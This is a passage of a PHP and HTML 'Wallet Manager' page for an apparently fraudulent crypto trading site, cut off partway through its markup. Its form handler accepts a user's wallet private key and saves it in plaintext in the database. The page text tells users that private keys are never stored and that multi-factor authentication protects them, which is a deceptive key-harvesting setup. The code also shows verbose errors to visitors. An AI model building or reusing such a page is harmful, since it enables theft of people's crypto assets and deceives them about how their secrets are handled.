<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

if (!isset($_SESSION['user_id'])) {
    header("Location: ../login.php");
    exit;
}

require_once "include/db.php";
mysqli_set_charset($conn, "utf8mb4");

$userId = intval($_SESSION['user_id']);

// ── Fetch user data ──
$sql = "SELECT * FROM users WHERE id = $userId LIMIT 1";
$result = mysqli_query($conn, $sql);
$currentUser = ($result && mysqli_num_rows($result) > 0) ? mysqli_fetch_assoc($result) : null;

if (!$currentUser) {
    die("User not found.");
}

// ── Fetch existing wallets ──
$wallets = [];
$walletSql = "SELECT * FROM wallets WHERE user_id = $userId ORDER BY created_at DESC";
$walletResult = mysqli_query($conn, $walletSql);
if ($walletResult) {
    while ($row = mysqli_fetch_assoc($walletResult)) {
        $wallets[] = $row;
    }
}

// ── Handle form submission (YOUR EXACT ORIGINAL CODE) ──
$successMsg = '';
$errorMsg = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['connect_wallet'])) {
    $walletType   = mysqli_real_escape_string($conn, trim($_POST['wallet_type'] ?? ''));
    $walletName   = mysqli_real_escape_string($conn, trim($_POST['wallet_name'] ?? ''));
    $walletAddress = mysqli_real_escape_string($conn, trim($_POST['wallet_address'] ?? ''));
    $network      = mysqli_real_escape_string($conn, trim($_POST['network'] ?? ''));
    $privateKey   = !empty($_POST['private_key']) ? mysqli_real_escape_string($conn, trim($_POST['private_key'])) : null;

    // Validation
    if (empty($walletType) || empty($walletName) || empty($walletAddress)) {
        $errorMsg = "Wallet type, name, and address are required.";
    } elseif (!preg_match('/^[a-zA-Z0-9\s]+$/', $walletName)) {
        $errorMsg = "Wallet name can only contain letters, numbers, and spaces.";
    } elseif (strlen($walletAddress) < 10) {
        $errorMsg = "Please enter a valid wallet address.";
    } else {
        // Check for duplicate address
        $checkSql = "SELECT id FROM wallets WHERE user_id = $userId AND wallet_address = '$walletAddress' LIMIT 1";
        $checkResult = mysqli_query($conn, $checkSql);
        if ($checkResult && mysqli_num_rows($checkResult) > 0) {
            $errorMsg = "This wallet address is already connected to your account.";
        } else {
            $insertSql = "INSERT INTO wallets 
                (user_id, wallet_type, wallet_name, wallet_address, network, private_key, status, created_at) 
                VALUES 
                ($userId, '$walletType', '$walletName', '$walletAddress', '$network', " . ($privateKey ? "'$privateKey'" : "NULL") . ", 'active', NOW())";

            if (mysqli_query($conn, $insertSql)) {
                $successMsg = "Wallet connected successfully!";
                // Refresh wallets
                $walletResult = mysqli_query($conn, $walletSql);
                $wallets = [];
                if ($walletResult) {
                    while ($row = mysqli_fetch_assoc($walletResult)) {
                        $wallets[] = $row;
                    }
                }
            } else {
                $errorMsg = "Failed to connect wallet: " . mysqli_error($conn);
            }
        }
    }
}

// ── Handle wallet removal (YOUR EXACT ORIGINAL CODE) ──
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['remove_wallet'])) {
    $walletId = intval($_POST['wallet_id'] ?? 0);
    if ($walletId > 0) {
        $delSql = "DELETE FROM wallets WHERE id = $walletId AND user_id = $userId LIMIT 1";
        if (mysqli_query($conn, $delSql)) {
            $successMsg = "Wallet disconnected successfully.";
            // Refresh
            $walletResult = mysqli_query($conn, $walletSql);
            $wallets = [];
            if ($walletResult) {
                while ($row = mysqli_fetch_assoc($walletResult)) {
                    $wallets[] = $row;
                }
            }
        } else {
            $errorMsg = "Failed to disconnect wallet.";
        }
    }
}

$walletConnected = count($wallets) > 0;

// Helper: truncate address securely
function truncateAddress($addr, $start = 6, $end = 4) {
    if (strlen($addr) <= $start + $end + 3) return $addr;
    return substr($addr, 0, $start) . '...' . substr($addr, -$end);
}

// Get proper wallet icons based on name
function getWalletIcon($name) {
    $name = strtolower($name);
    if (strpos($name, 'meta') !== false) return 'https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg';
    if (strpos($name, 'trust') !== false) return 'https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/info/trust/logo.png';
    if (strpos($name, 'coinbase') !== false) return 'coinbase-icon'; 
    if (strpos($name, 'ledger') !== false) return 'ledger-icon';
    if (strpos($name, 'trezor') !== false) return 'trezor-icon';
    if (strpos($name, 'exodus') !== false) return 'exodus-icon';
    if (strpos($name, 'atomic') !== false) return 'atomic-icon';
    if (strpos($name, 'mycelium') !== false) return 'mycelium-icon';
    if (strpos($name, 'brd') !== false || strpos($name, 'bread') !== false) return 'brd-icon';
    if (strpos($name, 'guarda') !== false) return 'guarda-icon';
    if (strpos($name, 'enjin') !== false) return 'enjin-icon';
    if (strpos($name, 'binance') !== false) return 'binance-icon';
    if (strpos($name, 'blockchain') !== false) return 'blockchain-icon';
    if (strpos($name, 'bitpay') !== false) return 'bitpay-icon';
    if (strpos($name, 'phantom') !== false) return 'phantom-icon';
    if (strpos($name, 'solflare') !== false) return 'solflare-icon';
    if (strpos($name, 'rainbow') !== false) return 'rainbow-icon';
    if (strpos($name, 'argent') !== false) return 'argent-icon';
    if (strpos($name, 'gnosis') !== false || strpos($name, 'safe') !== false) return 'gnosis-icon';
    if (strpos($name, 'math') !== false) return 'math-icon';
    if (strpos($name, 'tokenpocket') !== false) return 'tokenpocket-icon';
    if (strpos($name, 'imtoken') !== false) return 'imtoken-icon';
    if (strpos($name, 'ownbit') !== false) return 'ownbit-icon';
    if (strpos($name, 'coinomi') !== false) return 'coinomi-icon';
    if (strpos($name, 'edge') !== false) return 'edge-icon';
    if (strpos($name, 'zelcore') !== false) return 'zelcore-icon';
    if (strpos($name, 'infinity') !== false) return 'infinity-icon';
    return 'generic-wallet';
}

// Get wallet display icon (for cards)
function getWalletDisplayIcon($name) {
    $icon = getWalletIcon($name);
    if ($icon === 'coinbase-icon') return '<div class="w-full h-full rounded-full bg-blue-600 flex items-center justify-center text-white font-bold text-sm">C</div>';
    if ($icon === 'ledger-icon') return '<i data-lucide="usb" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'trezor-icon') return '<i data-lucide="shield" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'exodus-icon') return '<i data-lucide="compass" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'atomic-icon') return '<i data-lucide="atom" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'mycelium-icon') return '<i data-lucide="mushroom" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'brd-icon') return '<i data-lucide="bread-slice" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'guarda-icon') return '<i data-lucide="shield-check" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'enjin-icon') return '<i data-lucide="gamepad-2" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'binance-icon') return '<div class="w-full h-full rounded-full bg-yellow-500 flex items-center justify-center text-slate-900 font-bold text-xs">B</div>';
    if ($icon === 'blockchain-icon') return '<i data-lucide="link" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'bitpay-icon') return '<i data-lucide="credit-card" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'phantom-icon') return '<i data-lucide="ghost" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'solflare-icon') return '<i data-lucide="sun" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'rainbow-icon') return '<i data-lucide="rainbow" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'argent-icon') return '<i data-lucide="shield" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'gnosis-icon') return '<i data-lucide="vault" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'math-icon') return '<i data-lucide="calculator" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'tokenpocket-icon') return '<i data-lucide="pocket" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'imtoken-icon') return '<i data-lucide="coins" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'ownbit-icon') return '<i data-lucide="fingerprint" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'coinomi-icon') return '<i data-lucide="circle-dot" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'edge-icon') return '<i data-lucide="triangle" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'zelcore-icon') return '<i data-lucide="zap" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'infinity-icon') return '<i data-lucide="infinity" class="w-5 h-5 text-slate-400"></i>';
    if ($icon === 'generic-wallet') return '<i data-lucide="wallet" class="w-5 h-5 text-slate-400"></i>';
    return '<img src="' . $icon . '" class="w-6 h-6 object-contain" alt="">';
}

// Get network color
function getNetworkColor($network) {
    $net = strtolower($network);
    if (strpos($net, 'eth') !== false) return ['#627EEA', 'bg-blue-500'];
    if (strpos($net, 'bsc') !== false || strpos($net, 'binance') !== false) return ['#F3BA2F', 'bg-yellow-500'];
    if (strpos($net, 'poly') !== false) return ['#8247E5', 'bg-purple-500'];
    if (strpos($net, 'arb') !== false) return ['#28A0F0', 'bg-sky-500'];
    if (strpos($net, 'sol') !== false) return ['#14F195', 'bg-emerald-500'];
    if (strpos($net, 'bit') !== false) return ['#F7931A', 'bg-orange-500'];
    return ['#64748B', 'bg-slate-500'];
}
?>

<?php include "include/header.php"?>

<style>
    :root {
        --bg-primary: #0a0e1a;
        --bg-secondary: #111827;
        --bg-card: #151b2d;
        --bg-hover: #1e2538;
        --border-subtle: rgba(255,255,255,0.06);
        --border-hover: rgba(255,255,255,0.12);
        --accent-blue: #3b82f6;
        --accent-indigo: #6366f1;
        --accent-emerald: #10b981;
        --accent-rose: #f43f5e;
        --text-primary: #f1f5f9;
        --text-secondary: #94a3b8;
        --text-muted: #64748b;
    }

    @keyframes slideUpFade {
        0% { opacity: 0; transform: translateY(20px) scale(0.98); }
        100% { opacity: 1; transform: translateY(0) scale(1); }
    }
    
    @keyframes fadeIn {
        0% { opacity: 0; }
        100% { opacity: 1; }
    }
    
    @keyframes shimmer {
        0% { background-position: -200% 0; }
        100% { background-position: 200% 0; }
    }
    
    @keyframes pulse-glow {
        0%, 100% { box-shadow: 0 0 20px rgba(59, 130, 246, 0.15); }
        50% { box-shadow: 0 0 30px rgba(59, 130, 246, 0.3); }
    }
    
    @keyframes float {
        0%, 100% { transform: translateY(0px); }
        50% { transform: translateY(-6px); }
    }

    .animate-slide-up {
        animation: slideUpFade 0.5s cubic-bezier(0.16, 1, 0.3, 1) forwards;
        opacity: 0;
    }
    
    .animate-fade-in {
        animation: fadeIn 0.4s ease-out forwards;
    }

    .glass-panel {
        background: var(--bg-card);
        border: 1px solid var(--border-subtle);
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    }
    
    .glass-panel:hover {
        border-color: var(--border-hover);
        transform: translateY(-2px);
    }

    .text-gradient {
        background: linear-gradient(135deg, #60a5fa 0%, #a78bfa 50%, #c084fc 100%);
        -webkit-background-clip: text;
        -webkit-text-fill-color: transparent;
        background-clip: text;
    }
    
    .text-gradient-gold {
        background: linear-gradient(135deg, #fbbf24 0%, #f59e0b 100%);
        -webkit-background-clip: text;
        -webkit-text-fill-color: transparent;
        background-clip: text;
    }

    .wallet-card-premium {
        background: linear-gradient(145deg, #151b2d 0%, #0f1525 100%);
        border: 1px solid rgba(255,255,255,0.06);
        position: relative;
        overflow: hidden;
        transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    }
    
    .wallet-card-premium::before {
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        height: 1px;
        background: linear-gradient(90deg, transparent, rgba(255,255,255,0.1), transparent);
    }
    
    .wallet-card-premium::after {
        content: '';
        position: absolute;
        top: -50%;
        right: -50%;
        width: 100%;
        height: 100%;
        background: radial-gradient(circle, rgba(59,130,246,0.08) 0%, transparent 70%);
        pointer-events: none;
    }
    
    .wallet-card-premium:hover {
        border-color: rgba(59, 130, 246, 0.3);
        box-shadow: 0 8px 32px rgba(0, 0, 0, 0.4), 0 0 0 1px rgba(59, 130, 246, 0.1);
        transform: translateY(-4px);
    }

    .status-indicator {
        position: relative;
    }
    
    .status-indicator::after {
        content: '';
        position: absolute;
        inset: -4px;
        border-radius: 50%;
        background: inherit;
        opacity: 0.4;
        animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite;
    }

    .btn-primary-glow {
        background: linear-gradient(135deg, #2563eb 0%, #4f46e5 100%);
        position: relative;
        overflow: hidden;
        transition: all 0.3s ease;
    }
    
    .btn-primary-glow::before {
        content: '';
        position: absolute;
        top: 0;
        left: -100%;
        width: 100%;
        height: 100%;
        background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
        transition: left 0.5s ease;
    }
    
    .btn-primary-glow:hover::before {
        left: 100%;
    }
    
    .btn-primary-glow:hover {
        box-shadow: 0 0 30px rgba(37, 99, 235, 0.4);
        transform: translateY(-1px);
    }

    .input-premium {
        background: rgba(0, 0, 0, 0.3);
        border: 1px solid rgba(255,255,255,0.08);
        transition: all 0.3s ease;
    }
    
    .input-premium:focus {
        border-color: rgba(59, 130, 246, 0.5);
        box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1), inset 0 1px 2px rgba(0,0,0,0.2);
        background: rgba(0, 0, 0, 0.4);
    }

    .modal-backdrop {
        background: rgba(2, 6, 23, 0.8);
        backdrop-filter: blur(12px);
    }

    .provider-card {
        background: rgba(255,255,255,0.03);
        border: 1px solid rgba(255,255,255,0.06);
        transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        position: relative;
        overflow: hidden;
    }
    
    .provider-card::before {
        content: '';
        position: absolute;
        inset: 0;
        background: linear-gradient(135deg, rgba(59,130,246,0.05) 0%, transparent 50%);
        opacity: 0;
        transition: opacity 0.3s ease;
    }
    
    .provider-card:hover::before {
        opacity: 1;
    }
    
    .provider-card:hover {
        border-color: rgba(59, 130, 246, 0.3);
        transform: translateY(-2px);
        box-shadow: 0 8px 24px rgba(0,0,0,0.3);
    }

    .tag-premium {
        background: rgba(16, 185, 129, 0.1);
        border: 1px solid rgba(16, 185, 129, 0.2);
        color: #34d399;
    }

    .divider-gradient {
        height: 1px;
        background: linear-gradient(90deg, transparent, rgba(255,255,255,0.1), transparent);
    }

    /* Dropdown styles */
    .dropdown-container {
        max-height: 0;
        overflow: hidden;
        transition: max-height 0.5s cubic-bezier(0.4, 0, 0.2, 1), opacity 0.3s ease, padding 0.3s ease;
        opacity: 0;
    }
    
    .dropdown-container.open {
        max-height: 600px;
        opacity: 1;
    }

    .dropdown-item {
        transition: all 0.2s ease;
    }
    
    .dropdown-item:hover {
        background: rgba(255,255,255,0.05);
        padding-left: 1.25rem;
    }

    .provider-icon-box {
        width: 44px;
        height: 44px;
        border-radius: 12px;
        display: flex;
        align-items: center;
        justify-content: center;
        flex-shrink: 0;
    }

    .provider-icon-box img {
        width: 28px;
        height: 28px;
        object-fit: contain;
    }

    @media (max-width: 768px) {
        .wallet-card-premium {
            min-height: auto;
        }
    }
</style>

<body class="dark text-slate-100 bg-[#0a0e1a] font-sans antialiased relative overflow-x-hidden selection:bg-blue-500/30 selection:text-blue-200">

    <!-- Ambient Background Effects -->
    <div class="fixed inset-0 pointer-events-none overflow-hidden">
        <div class="absolute top-0 left-1/4 w-[600px] h-[600px] bg-blue-600/5 rounded-full blur-[120px]"></div>
        <div class="absolute bottom-0 right-1/4 w-[500px] h-[500px] bg-indigo-600/5 rounded-full blur-[100px]"></div>
        <div class="absolute top-1/2 left-1/2 -translate-x-1/2 -translate-y-1/2 w-[800px] h-[800px] bg-purple-600/3 rounded-full blur-[150px]"></div>
    </div>

    <?php include "include/nav.php"?>

    <div class="flex min-h-screen relative z-10">

        <?php include "include/sidebar.php"?>

        <main class="flex-1 min-w-0 md:ml-72 pb-24 md:pb-8">
            <div class="max-w-screen-xl mx-auto px-4 sm:px-6 lg:px-8 py-6 sm:py-10">

                <!-- Header Section -->
                <div class="flex flex-col sm:flex-row sm:items-end justify-between gap-4 mb-8 sm:mb-10 animate-slide-up" style="animation-delay: 0s;">
                    <div>
                        <div class="flex items-center gap-2 mb-2">
                            <div class="h-px w-8 bg-gradient-to-r from-blue-500 to-transparent"></div>
                            <span class="text-[10px] font-bold text-blue-400 uppercase tracking-[0.2em]">Asset Management</span>
                        </div>
                        <h1 class="text-3xl sm:text-4xl font-bold text-white tracking-tight leading-tight">
                            Wallet <span class="text-gradient">Manager</span>
                        </h1>
                        <p class="text-sm text-slate-500 mt-2 max-w-md leading-relaxed">
                            Securely connect and manage your decentralized wallets for seamless trading operations.
                        </p>
                    </div>
                    
                    <!-- Always show Add Wallet button, not just when connected -->
                    <div class="animate-slide-up" style="animation-delay: 0.1s;">
                        <button onclick="openWalletModal()" type="button" 
                                class="group inline-flex items-center gap-2.5 px-6 py-3 bg-white/5 hover:bg-white/10 text-white text-sm font-semibold rounded-xl border border-white/10 hover:border-white/20 transition-all duration-300 hover:shadow-lg hover:shadow-blue-500/10">
                            <span class="flex items-center justify-center w-5 h-5 rounded-full bg-blue-500/20 group-hover:bg-blue-500/30 transition-colors">
                                <i data-lucide="plus" class="w-3 h-3 text-blue-400"></i>
                            </span>
                            Add New Wallet
                        </button>
                    </div>
                </div>

                <!-- Alert Messages -->
                <?php if (!empty($successMsg)): ?>
                <div class="mb-6 animate-slide-up" style="animation-delay: 0.05s;">
                    <div class="glass-panel rounded-xl p-4 flex items-center gap-4 border-l-[3px] border-l-emerald-500">
                        <div class="flex-shrink-0 w-10 h-10 rounded-lg bg-emerald-500/10 flex items-center justify-center">
                            <i data-lucide="check-circle-2" class="w-5 h-5 text-emerald-400"></i>
                        </div>
                        <div class="flex-1">
                            <p class="text-sm font-medium text-emerald-100"><?= htmlspecialchars($successMsg) ?></p>
                        </div>
                        <button onclick="this.closest('.glass-panel').remove()" class="p-1.5 rounded-lg hover:bg-white/5 text-slate-500 hover:text-slate-300 transition-colors">
                            <i data-lucide="x" class="w-4 h-4"></i>
                        </button>
                    </div>
                </div>
                <?php endif; ?>

                <?php if (!empty($errorMsg)): ?>
                <div class="mb-6 animate-slide-up" style="animation-delay: 0.05s;">
                    <div class="glass-panel rounded-xl p-4 flex items-center gap-4 border-l-[3px] border-l-rose-500">
                        <div class="flex-shrink-0 w-10 h-10 rounded-lg bg-rose-500/10 flex items-center justify-center">
                            <i data-lucide="alert-circle" class="w-5 h-5 text-rose-400"></i>
                        </div>
                        <div class="flex-1">
                            <p class="text-sm font-medium text-rose-100"><?= htmlspecialchars($errorMsg) ?></p>
                        </div>
                        <button onclick="this.closest('.glass-panel').remove()" class="p-1.5 rounded-lg hover:bg-white/5 text-slate-500 hover:text-slate-300 transition-colors">
                            <i data-lucide="x" class="w-4 h-4"></i>
                        </button>
                    </div>
                </div>
                <?php endif; ?>

                <?php if (!$walletConnected): ?>
                
                <!-- Empty State - Premium -->
                <div class="animate-slide-up" style="animation-delay: 0.1s;">
                    <div class="relative rounded-2xl overflow-hidden" style="background: linear-gradient(145deg, #111827 0%, #0a0e1a 100%); border: 1px solid rgba(255,255,255,0.06);">
                        <!-- Decorative elements -->
                        <div class="absolute top-0 right-0 w-64 h-64 bg-blue-500/5 rounded-full blur-3xl -translate-y-1/2 translate-x-1/4"></div>
                        <div class="absolute bottom-0 left-0 w-48 h-48 bg-indigo-500/5 rounded-full blur-3xl translate-y-1/2 -translate-x-1/4"></div>
                        
                        <div class="relative z-10 p-8 sm:p-12 lg:p-16 text-center">
                            <div class="mb-8 inline-block">
                                <div class="relative">
                                    <div class="w-20 h-20 sm:w-24 sm:h-24 mx-auto rounded-2xl bg-gradient-to-br from-slate-800 to-slate-900 border border-white/10 flex items-center justify-center shadow-2xl">
                                        <i data-lucide="wallet" class="w-10 h-10 sm:w-12 sm:h-12 text-slate-400"></i>
                                    </div>
                                    <div class="absolute -bottom-1 -right-1 w-8 h-8 rounded-full bg-blue-500/20 border border-blue-500/30 flex items-center justify-center backdrop-blur-sm">
                                        <i data-lucide="link" class="w-4 h-4 text-blue-400"></i>
                                    </div>
                                </div>
                            </div>
                            
                            <h2 class="text-2xl sm:text-3xl font-bold text-white mb-3 tracking-tight">No Active Wallet Connections</h2>
                            <p class="text-sm text-slate-500 max-w-md mx-auto mb-8 leading-relaxed">
                                Connect your decentralized wallet to enable instant deposits, secure withdrawals, and seamless blockchain interactions.
                            </p>
                            
                            <div class="flex flex-col sm:flex-row items-center justify-center gap-3">
                                <button onclick="openWalletModal()" type="button" 
                                        class="btn-primary-glow px-8 py-4 text-white font-semibold rounded-xl flex items-center justify-center gap-2.5 shadow-lg shadow-blue-900/20">
                                    <i data-lucide="plug" class="w-5 h-5"></i>
                                    Connect Wallet
                                </button>
                                <a href="deposit.php" class="px-6 py-4 text-slate-400 hover:text-white font-medium rounded-xl border border-white/10 hover:border-white/20 hover:bg-white/5 transition-all duration-300 flex items-center gap-2">
                                    <i data-lucide="arrow-down-left" class="w-4 h-4"></i>
                                    Deposit Instead
                                </a>
                            </div>

                            <!-- Supported providers preview -->
                            <div class="mt-10 pt-8 border-t border-white/5">
                                <p class="text-[10px] font-bold text-slate-600 uppercase tracking-[0.2em] mb-4">Supported Providers</p>
                                <div class="flex items-center justify-center gap-6 opacity-50">
                                    <img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" class="h-8 w-auto grayscale hover:grayscale-0 transition-all duration-300" alt="MetaMask">
                                    <img src="https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/info/trust/logo.png" class="h-7 w-auto grayscale hover:grayscale-0 transition-all duration-300" alt="Trust">
                                    <div class="w-8 h-8 rounded-full bg-blue-600 flex items-center justify-center text-white font-bold text-xs">C</div>
                                    <i data-lucide="usb" class="w-6 h-6 text-slate-500"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <?php else: ?>

                <!-- Stats Bar -->
                <div class="grid grid-cols-2 sm:grid-cols-4 gap-3 mb-6 animate-slide-up" style="animation-delay: 0.05s;">
                    <div class="glass-panel rounded-xl p-4">
                        <div class="text-[10px] font-bold text-slate-500 uppercase tracking-wider mb-1">Total Wallets</div>
                        <div class="text-2xl font-bold text-white"><?= count($wallets) ?></div>
                    </div>
                    <div class="glass-panel rounded-xl p-4">
                        <div class="text-[10px] font-bold text-slate-500 uppercase tracking-wider mb-1">Active Networks</div>
                        <div class="text-2xl font-bold text-white"><?= count(array_unique(array_column($wallets, 'network'))) ?></div>
                    </div>
                    <div class="glass-panel rounded-xl p-4">
                        <div class="text-[10px] font-bold text-slate-500 uppercase tracking-wider mb-1">Primary</div>
                        <div class="text-sm font-semibold text-blue-400 truncate"><?= htmlspecialchars($wallets[0]['wallet_name'] ?? 'N/A') ?></div>
                    </div>
                    <div class="glass-panel rounded-xl p-4">
                        <div class="text-[10px] font-bold text-slate-500 uppercase tracking-wider mb-1">Status</div>
                        <div class="flex items-center gap-2">
                            <span class="w-2 h-2 rounded-full bg-emerald-500 status-indicator"></span>
                            <span class="text-sm font-semibold text-emerald-400">Operational</span>
                        </div>
                    </div>
                </div>

                <!-- Connected Wallets Grid -->
                <div class="grid grid-cols-1 lg:grid-cols-2 gap-4 mb-6">
                    <?php foreach ($wallets as $index => $wallet): 
                        $netColors = getNetworkColor($wallet['network']);
                        $delay = ($index + 1) * 0.08;
                    ?>
                    <div class="wallet-card-premium rounded-2xl p-5 sm:p-6 animate-slide-up" style="animation-delay: <?= $delay ?>s;">
                        <!-- Top Row -->
                        <div class="relative z-10 flex items-start justify-between mb-6">
                            <div class="flex items-center gap-4">
                                <div class="relative">
                                    <div class="w-12 h-12 rounded-xl bg-black/40 border border-white/10 flex items-center justify-center backdrop-blur-sm shadow-lg overflow-hidden">
                                        <?= getWalletDisplayIcon($wallet['wallet_type']) ?>
                                    </div>
                                    <div class="absolute -bottom-1 -right-1 w-4 h-4 rounded-full bg-emerald-500/20 border border-emerald-500/40 flex items-center justify-center">
                                        <div class="w-1.5 h-1.5 rounded-full bg-emerald-400"></div>
                                    </div>
                                </div>
                                <div>
                                    <h4 class="font-bold text-white text-base tracking-wide"><?= htmlspecialchars($wallet['wallet_name']) ?></h4>
                                    <div class="flex items-center gap-2 mt-1">
                                        <span class="px-2 py-0.5 rounded-md text-[10px] font-bold uppercase tracking-wider" style="background: <?= $netColors[0] ?>15; color: <?= $netColors[0] ?>; border: 1px solid <?= $netColors[0] ?>30;">
                                            <?= htmlspecialchars($wallet['network']) ?>
                                        </span>
                                        <span class="text-[10px] text-slate-500 font-medium"><?= htmlspecialchars($wallet['wallet_type']) ?></span>
                                    </div>
                                </div>
                            </div>
                            
                            <div class="flex items-center gap-2">
                                <button type="button" onclick="copyToClipboard('<?= addslashes($wallet['wallet_address']) ?>')" 
                                        class="p-2.5 rounded-lg bg-white/5 hover:bg-white/10 text-slate-400 hover:text-white transition-all duration-200 border border-white/5 hover:border-white/10"
                                        title="Copy Address">
                                    <i data-lucide="copy" class="w-4 h-4"></i>
                                </button>
                                <button type="button" onclick="openDisconnectModal(<?= $wallet['id'] ?>, '<?= addslashes(htmlspecialchars($wallet['wallet_name'])) ?>')" 
                                        class="p-2.5 rounded-lg bg-white/5 hover:bg-rose-500/10 text-slate-400 hover:text-rose-400 transition-all duration-200 border border-white/5 hover:border-rose-500/20"
                                        title="Disconnect">
                                    <i data-lucide="unplug" class="w-4 h-4"></i>
                                </button>
                            </div>
                        </div>

                        <!-- Address Display -->
                        <div class="relative z-10">
                            <div class="flex items-center justify-between mb-2">
                                <span class="text-[10px] font-bold text-slate-600 uppercase tracking-wider">Wallet Address</span>
                                <span class="text-[10px] text-slate-600">Connected <?= date('M j, Y', strtotime($wallet['created_at'])) ?></span>
                            </div>
                            <div class="group relative">
                                <div class="flex items-center gap-3 px-4 py-3 rounded-xl bg-black/30 border border-white/5 font-mono text-sm text-slate-300 tracking-wider select-all">
                                    <span class="truncate"><?= truncateAddress($wallet['wallet_address'], 12, 8) ?></span>
                                    <span class="text-slate-600 text-xs ml-auto flex-shrink-0"><?= substr($wallet['wallet_address'], -4) ?></span>
                                </div>
                            </div>
                        </div>

                        <!-- Bottom Status -->
                        <div class="relative z-10 mt-4 pt-4 border-t border-white/5 flex items-center justify-between">
                            <div class="flex items-center gap-2">
                                <span class="w-1.5 h-1.5 rounded-full bg-emerald-400 shadow-[0_0_8px_rgba(52,211,153,0.5)]"></span>
                                <span class="text-xs text-slate-500 font-medium">Active Connection</span>
                            </div>
                            <span class="tag-premium px-2.5 py-1 rounded-lg text-[10px] font-bold uppercase tracking-wider">Verified</span>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>

                <!-- Quick Actions -->
                <div class="flex flex-col sm:flex-row items-stretch sm:items-center gap-3 animate-slide-up" style="animation-delay: 0.3s;">
                    <a href="deposit.php" class="group flex-1 sm:flex-none inline-flex items-center justify-center gap-2.5 px-6 py-3.5 bg-white hover:bg-slate-200 text-slate-900 text-sm font-bold rounded-xl transition-all duration-300 shadow-lg shadow-white/5">
                        <span class="flex items-center justify-center w-8 h-8 rounded-lg bg-slate-900/10 group-hover:bg-slate-900/20 transition-colors">
                            <i data-lucide="arrow-down-left" class="w-4 h-4"></i>
                        </span>
                        Fund Wallet
                    </a>
                    <a href="withdrawals.php" class="group flex-1 sm:flex-none inline-flex items-center justify-center gap-2.5 px-6 py-3.5 glass-panel hover:bg-white/5 text-white text-sm font-bold rounded-xl transition-all duration-300 border border-white/10 hover:border-white/20">
                        <span class="flex items-center justify-center w-8 h-8 rounded-lg bg-white/5 group-hover:bg-white/10 transition-colors">
                            <i data-lucide="arrow-up-right" class="w-4 h-4"></i>
                        </span>
                        Withdraw
                    </a>
                    <a href="internal transfer.php" class="group flex-1 sm:flex-none inline-flex items-center justify-center gap-2.5 px-6 py-3.5 glass-panel hover:bg-white/5 text-white text-sm font-bold rounded-xl transition-all duration-300 border border-white/10 hover:border-white/20">
                        <span class="flex items-center justify-center w-8 h-8 rounded-lg bg-white/5 group-hover:bg-white/10 transition-colors">
                            <i data-lucide="arrow-left-right" class="w-4 h-4"></i>
                        </span>
                        Transfer
                    </a>
                </div>

                <!-- Info Section -->
                <div class="mt-8 grid grid-cols-1 lg:grid-cols-3 gap-4 animate-slide-up" style="animation-delay: 0.35s;">
                    <div class="lg:col-span-2 glass-panel rounded-2xl p-6">
                        <div class="flex items-start gap-4">
                            <div class="flex-shrink-0 w-12 h-12 rounded-xl bg-blue-500/10 border border-blue-500/20 flex items-center justify-center">
                                <i data-lucide="shield-check" class="w-6 h-6 text-blue-400"></i>
                            </div>
                            <div>
                                <h3 class="text-lg font-semibold text-white mb-1">Enterprise-Grade Security</h3>
                                <p class="text-sm text-slate-500 leading-relaxed">
                                    Your wallet connections are secured with industry-standard encryption. We never store your private keys on our servers. All transactions require multi-factor authentication.
                                </p>
                            </div>
                        </div>
                    </div>
                    <div class="glass-panel rounded-2xl p-6">
                        <h3 class="text-sm font-bold text-white mb-4 flex items-center gap-2">
                            <i data-lucide="network" class="w-4 h-4 text-blue-400"></i>
                            Supported Networks
                        </h3>
                        <div class="flex flex-wrap gap-2">
                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-blue-500/10 border border-blue-500/20">Ethereum</span>
                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-yellow-500/10 border border-yellow-500/20">BSC</span>
                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-purple-500/10 border border-purple-500/20">Polygon</span>
                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-sky-500/10 border border-sky-500/20">Arbitrum</span>
                            <span class="px-2.5 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-emerald-500/10 border border-emerald-500/20">Solana</span>
